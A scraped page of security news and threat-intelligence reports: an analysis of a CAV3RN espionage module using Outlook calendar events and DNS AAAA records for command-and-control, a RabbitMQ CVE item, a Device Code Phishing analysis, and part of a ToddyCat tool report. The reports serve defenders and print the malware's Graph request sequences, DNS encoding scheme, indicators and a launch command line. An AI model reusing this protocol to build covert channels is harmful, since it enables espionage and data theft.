Visualização normal
-
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News
-
Kali365 Exploits Microsoft Device Login to Access US Corporate Data
Learn how Kali365 has been abusing Microsoft device login to gain OAuth tokens, targeting US firms, and how SOC teams can detect, hunt, and stop these phishing attacks.
-
Securelist

-
New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery
Introduction In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture wit
New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery
![]()
Introduction
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
| Subject format | Purpose | Module behavior |
| Event ID: <agent-id> | Operator-to-agent command | Searches for the event, downloads its attachments, and deletes it after consumption |
| Boss update ID: <agent-id>1500 | Agent heartbeat | Deletes the previous heartbeat event and creates a replacement |
| Boss Report ID: <agent-id>1500 | Agent-to-operator command output | Creates an event, uploads encrypted result attachments, and assigns the final subject |
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:
| Attachment name | Direction | Associated subject |
| file0.txt | Operator to agent | Event ID: <agent-id> |
| File0.txt | Agent to operator | Boss Report ID: <agent-id>1500 |
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>
{
"subject": "Boss update ID: <agent-id>1500"
}Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
| Index | Configuration value |
| 0 | TenantId |
| 1 | ClientId |
| 2 | ClientSecret |
| 3 | UserEmail |
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
| Domain | IP | First seen | ASN | Hosting |
| ns1.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns2.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns3.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns4.cloudlanecdn[.]com | 144.172.108[.]205 | May 21, 2026 | AS 14956 | RouterHosting LLC |
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
Indicators of compromise
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
File hashes
CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll
Domains and IPs
cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205




-
Firewall Daily – The Cyber Express

-
RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers
A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers to impersonate the broker, obtain administrator-level access, and potentially take control of the messaging infrastructure. CVE-2026-5721 Allows Exposure of OAuth Client Secrets RabbitMQ, a widely u
RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers
![]()
CVE-2026-5721 Allows Exposure of OAuth Client Secrets
RabbitMQ, a widely used open source message broker that enables asynchronous communication by routing, buffering, and distributing messages between applications, is affected by the issue. The CVE-2026-5721 flaw carries a CVSS severity score of 8.7 and stems from an exposed management endpoint that returns the OAuth client secret without requiring authentication. The RabbitMQ vulnerability originates from an obsolete endpoint in the platform's management web interface. It can be exploited when administrators configure the broker with a confidential password for identity provider authentication. The risk is particularly significant in deployments using OAuth 2.0 or OpenID Connect identity providers such as Auth0, Azure AD/Entra ID, Keycloak, or UAA, where confidential client secrets are commonly configured. In such environments, attackers exploiting CVE-2026-5721 could obtain administrator tokens and gain control over users, queues, messages, and broker configurations.Which RabbitMQ Deployments Are at Risk?
However, systems without a configured client secret are not vulnerable because there is no credential to expose. Likewise, RabbitMQ deployments that do not use the management plugin are unaffected by this RabbitMQ vulnerability. Cybersecurity firm Miggo warned that the highest risk exists when the management interface is accessible from untrusted networks. The risk is sharpest wherever the management port is reachable by an untrusted network: cloud or multi-tenant setups, or a management UI accidentally exposed to the internet," the company said. The CVE-2026-5721 flaw was introduced in RabbitMQ version 3.13.0 in early 2024. It has since been patched in versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15.Patches Also Address a Second Security Flaw
The security updates also fix CVE-2026-57221, a medium-severity vulnerability with a CVSS score of 5.3. This authorization issue allows any authenticated user to enumerate queues and exchanges while viewing related statistics. According to Miggo, attackers could use the flaw to map an organization's virtual host, infer business activity, and collect intelligence for future attacks, particularly in multi-tenant environments where multiple teams or applications share the same virtual host. To reduce exposure to the RabbitMQ vulnerability, organizations are advised to update affected deployments immediately, restrict access to vulnerable systems if patching cannot be performed, prevent public exposure of the management interface, implement network segmentation, and rotate OAuth client secrets. Although there is currently no evidence that CVE-2026-5721 has been exploited in the wild, Miggo noted, "Neither of these RabbitMQ bugs is exotic. They sat in the codebase for over two years. They are precisely the kind of quiet, systemic inconsistency that hides in mature, widely deployed software: the kind a human reviewer reads past, and a single-pass tool fails to compare against everything around it."-
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News
-
Millions of Microsoft Entra Accounts Targeted in OAuth Client ID Spoofing Campaigns
Proofpoint details how attackers spoof OAuth client IDs to probe Microsoft Entra accounts, test credentials and bypass common sign-in detections at cloud scale.
Millions of Microsoft Entra Accounts Targeted in OAuth Client ID Spoofing Campaigns
-
Securelist

-
When checking the URL isn’t enough: a Device Code Phishing attack via a Microsoft website
One of the most common pieces of anti-phishing advice is to double-check the website’s domain name before providing your credentials. Typically, a fraudulent domain stands out to the trained eye, differing from the official URL by at least a few characters. Recently, however, we encountered a campaign where attackers instruct victims to input data directly into a legitimate, trusted corporate site: the Microsoft Identity Platform, which supports an OAuth 2.0 specification known as the Device Aut
When checking the URL isn’t enough: a Device Code Phishing attack via a Microsoft website
![]()
One of the most common pieces of anti-phishing advice is to double-check the website’s domain name before providing your credentials. Typically, a fraudulent domain stands out to the trained eye, differing from the official URL by at least a few characters. Recently, however, we encountered a campaign where attackers instruct victims to input data directly into a legitimate, trusted corporate site: the Microsoft Identity Platform, which supports an OAuth 2.0 specification known as the Device Authorization Grant.
This specific protocol extension was designed to simplify the login experience for smart TVs, IoT hardware, printers, and other input-constrained devices that lack a full browser or keyboard. It allows users to use a nearby smartphone or PC for authorizing these devices to access their accounts. To complete the process, the user enters a one-time code on a designated authentication page. The Microsoft Identity Platform returns this code along with a link to enter it in response to a request to https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode; hence, an attack scenario exploiting this mechanism is called Device Code Phishing.
In this post, we break down how the Device Authorization Grant specification (also known as the Device Authorization Grant Flow or Device Code Flow) works, analyze real-world attacks leveraging this technology, and outline effective strategies to defend against Device Code Phishing.
Core steps of Device Authorization Grant
1. Requesting the authorization code
When a user launches an app on a client device, such as a streaming app on a Smart TV, the app detects that it is unauthenticated and sends a POST request to https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode. This request includes the client_id (the unique identifier of the app registered in Microsoft Entra ID / Azure AD) and the scope (the requested access permissions). In response, the application receives several parameters: device_code (a secret code for internal use), user_code (a short code displayed to the end-user), verification_uri (the login URL the user needs to visit), expires_in (the code’s lifespan), and interval (how frequently the app should poll the server).
2. Displaying the code to the user
The device displays both the user_code and the verification_uri to the user, instructing them to complete authentication on another device. For instance, a smart TV will display the code and URL — often rendering the verification_uri as a QR code — so the user can access it via their smartphone.
3. Entering the code and confirming access
By scanning the QR code with a smartphone camera or manually typing out the address, the user navigates to the verification_uri (such as https://microsoft.com/devicelogin) and enters the user_code.
4. Polling the server
The device (smart TV) begins polling the server to check the authorization status — essentially verifying whether the user has approved the access request. It does this by sending a POST request to the token endpoint: https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token. The request passes the grant_type parameter with the value urn:ietf:params:oauth:grant-type:device_code, indicating the use of the Device Authorization Grant method. This signals to the authorization server exactly which authentication method is being used to request access tokens. The server waits for the user to enter the user_code on their secondary device and approve access to their resources or data. Until that approval happens, the server responds with an error code like authorization_pending (keep waiting) or slow_down (reduce the polling frequency).
5. Issuing access tokens
Once the user successfully approves the application’s request, the server responds to the application by issuing an access_token (to access the data), a refresh_token (to renew access later), an id_token (containing user profile details like name and email), along with several other service parameters.
6. Automatic access renewal
The device (our smart TV) uses the refresh_token to silently renew the access_token without requiring any further user interaction. When the current access_token expires (typically after 1 hour), the device automatically sends a token refresh request containing the refresh_token to the token endpoint. It then receives a fresh pair of access and refresh tokens, ensuring the user remains authenticated seamlessly.
While this workflow is truly convenient for input-constrained devices, attackers can abuse it to hijack user accounts and maintain persistent access for extended periods using the issued refresh_token. Let’s use a real-world example to break down this attack vector.
Analysis of a Device Code Phishing attack
In a phishing campaign we observed spanning from early April to mid-May 2026, the initial email was styled as a notice from a law firm. Attached to the email was a password-protected PDF file.
Once the victim opened the PDF and entered the password, they were presented with a landing page listing several documents. However, viewing these documents required clicking a provided link.
A close look at the target URL reveals that instead of pointing to a typical, easily recognizable phishing domain, it actually points to a legitimate Microsoft address. However, the URL parameters are configured to redirect the user to a phishing resource.
The link within the document does not keep the user on the Microsoft platform; instead, it immediately redirects them to a phishing page designed to mimic a corporate legal portal.
Interestingly, the landing page featured multiple CAPTCHAs, presumably deployed to filter out security crawlers. Once past these hurdles, the user was routed to a final page that instructed them to copy a one-time code. This code was the user_code that the attacker’s server-side application had already fetched by querying https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode, as detailed in the workflow above.
The one-time codeClicking the displayed one-time code automatically copied it to the clipboard while simultaneously redirecting the user to Microsoft’s actual, legitimate authentication page (verification_uri), where they were prompted to paste and enter the code.
Once the user entered the code, it kicked off the Device Authorization Grant flow described earlier. The unsuspecting victim then completed the full MFA process directly on Microsoft’s official page. As soon as authentication succeeded, the attacker harvested the session’s access_token, refresh_token, and id_token. This enabled them to read and send emails from the victim’s mailbox, exfiltrate files from OneDrive, and access Teams conversations.
Adaptation of the attack method
This phishing campaign was limited in scope and spanned slightly more than a month. However, the threat actor continues to actively leverage this method, adapting it to target specific geographic regions. We’ve recently detected slightly modified Device Code Phishing campaigns shifting their focus toward users in Brazil, among others.
Translated from Portuguese:
“Hello!
Your order has just been processed, and the confirmation has been sent to you in PDF format. Please see the details below.
OPEN / DOWNLOAD PDF
A new quote is attached to this email.
Please let me know if you need any further assistance.”
Unlike the previous campaign, this email did not include a malicious PDF attachment. Instead, it embedded a link pointing to cacoo.com, a legitimate online diagramming platform owned by Nulab. Just as before, this trusted domain served as an open redirect to steer the user toward the phishing infrastructure.
The proxy link routes through the legitimate Cacoo.com domain before redirecting to the phishing site
Translated from Portuguese:
Request confirmation
Status Code = Success
DOWNLOAD OR VIEW THE DOCUMENT
Important note: Log in to the account that received this message to securely authenticate the document.
Clicking the link routed the user back to the familiar landing page displaying the one-time code.
From there, the potential victim was once again redirected to the official Microsoft portal to complete the Device Authorization Grant authentication process.
How to defend against Device Code Phishing attacks
As our research demonstrates, threat actors don’t always rely on harvesting credentials or deploying malware to access sensitive data — they can just as easily weaponize legitimate tools. Therefore, users must exercise vigilance not only when visiting suspicious sites, but also when navigating official platforms like Microsoft or Cacoo.com.
Recommendations for users
- If you did not personally initiate a login request on an external device using the Microsoft Device Authorization Grant, do not approve the authorization request.
- Never enter an authorization code received via unexpected emails or messages, even if the provided link points directly to an official Microsoft domain.
- Threat actors frequently leverage open redirects on legitimate domains, appending parameters like
redirect_uri,return_url, or next after the question mark (?) to point to a malicious destination. Before clicking any link, hover your cursor over it to inspect both the primary domain and any suspicious redirect parameters. Once the page loads, verify that the final URL actually matches the expected asset — this is the absolute minimum requirement before entering corporate credentials.
We strongly advise enterprise teams to evaluate the business necessity of the Device Code Flow within their corporate infrastructure. If this authentication mechanism is not required for daily operations, it should be disabled globally via Conditional Access policies within Microsoft Entra ID. Additionally, security teams should set up dedicated monitoring for DeviceCodeSignIn events, strictly e nforce device compliance states, and configure alerts for anomalous sign-in behavior originating from unusual locations.
To establish a comprehensive defense against Device Code Phishing attacks, organizations should deploy robust email security solutions capable of securing both corporate and personal messages.




-
Securelist

-
ToddyCat: your hidden email assistant. Part 2
Introduction We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP a
ToddyCat: your hidden email assistant. Part 2
![]()
Introduction
We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP and EDR solutions.
The attackers continued their search for ways to bypass security solutions and developed a new tool to gain access to a victim’s cloud account via the Google API. Armed with this tool, the group automated all stages of the attack and managed to remain undetected by monitoring systems.
In this part of the report, we break down the mechanics of this new attack and analyze the tool that was used to automate it. We’ll also discuss how to detect and defend against this threat.
Umbrij
In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs. Because the Google API relies on the OAuth 2.0 protocol for authorization, applications can use an OAuth token to access requested email resources. To acquire this token, the threat actors developed a tool called Umbrij and used it to connect to the browser’s management console in headless mode via a remote debugging port. Through a series of requests, they obtained an OAuth authorization code, which they subsequently exchanged for an access token to reach the target resources via the API. We have dubbed this technique Shadow Token via Remote Debug (STRD).
This attack is viable on Chromium-based browsers. If the user has not logged out of their Gmail account, the browser maintains an active session. The attackers exploit this: they launch the browser, connect via the remote debugging port to take control, and send a request to the Gmail service to grant access to the Google account resources within the context of the user’s saved session.
During our investigation of this attack, we discovered several versions of the Umbrij tool. These versions included a variety of helper functions designed for debugging, as well as for searching and selecting user accounts within the browser, among other tasks.
Kaspersky solutions detect this tool with the following verdicts: HEUR:Trojan-PSW.MSIL.Umbrij.gen, HEUR:Trojan.MSIL.Agent.gen, HEUR:Trojan-PSW.MSIL.Agent.gen.
Execution
The Umbrij tool was discovered during a proactive threat hunting operation: a scheduled task, KasperskyEndpointSecurityEDRAvp, was running on a user host, launching a digitally signed file. Kaspersky solutions do not create scheduled tasks with that name; the attackers were attempting to masquerade their malicious activity as a legitimate process.
The signed file then used the DLL sideloading technique to load the malicious tool.
Throughout our observation period, we identified the following legitimate files vulnerable to the DLL sideloading technique that were used to launch Umbrij:
- BDSubWiz.exe: a component of the Submission Wizard in Bitdefender ConnectAgent, which is used to support connection features and interaction with other Bitdefender services or agents. This file insecurely loads a file named log.dll.
- VSTestVideoRecorder.exe: a component of the video-recording tool used for testing with Visual Studio (VS Test). This executable insecurely loads a file named Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll.
- GoogleDesktop.exe: the discontinued Google Desktop Search application for indexing files and performing quick searches on a local Windows computer. This executable insecurely loads a file named GoogleServices.dll.
These files were used to load different versions of Umbrij; the same legitimate file could be leveraged to launch more than one variant. In total, we discovered three versions of Umbrij, which we refer to as a, b, and c for convenience.
The tool itself is a DLL written in .NET and obfuscated with ConfuserEx, an open-source obfuscator for .NET applications.
Umbrij is managed with the help of parameters passed through a command line at startup, although it is occasionally executed without any parameters. Below are examples of the command lines observed in attacks against users:
"c:\Users\Public\BDSubWiz.exe" -regex <name> -deepsearch c:\windows\vss\bds.exe
However, these are not the only parameters the tool can accept and process. During the analysis of its executable code, we discovered additional parameters that vary depending on the version of Umbrij. See the table below for the parameters and their descriptions.
| Version | Command | Description |
| a | -regex <string> | Used in conjunction with the -deepsearch parameter. Specifies a substring to search for within the user_name field of the user profile file, which typically contains the email address. The tool will utilize the user profile that matches this specified substring |
| a | -user <username> | Specifies the system username under which the tool will run |
| a | -runas-currentuser | Configures Umbrij to run within the execution context of the current user |
| a | -deepsearch | Enforces additional checks on the user_name field in the user profile: verifying that it is not empty and that it contains the substring specified in the -regex parameter |
| a, b, c | -path <path> | Specifies the full path to the directory containing the browser’s executable file |
| a, b, c | -browser <both|msedge|chrome> | Specifies which browser the tool should target: Google Chrome, Microsoft Edge, or both |
| a, b, c | -debugport <port> | Specifies the remote debugging port number |
| a, b, c | -sync | When this parameter is specified in the URL, the value 1095133494869 replaces 279448736670 in the permission request |
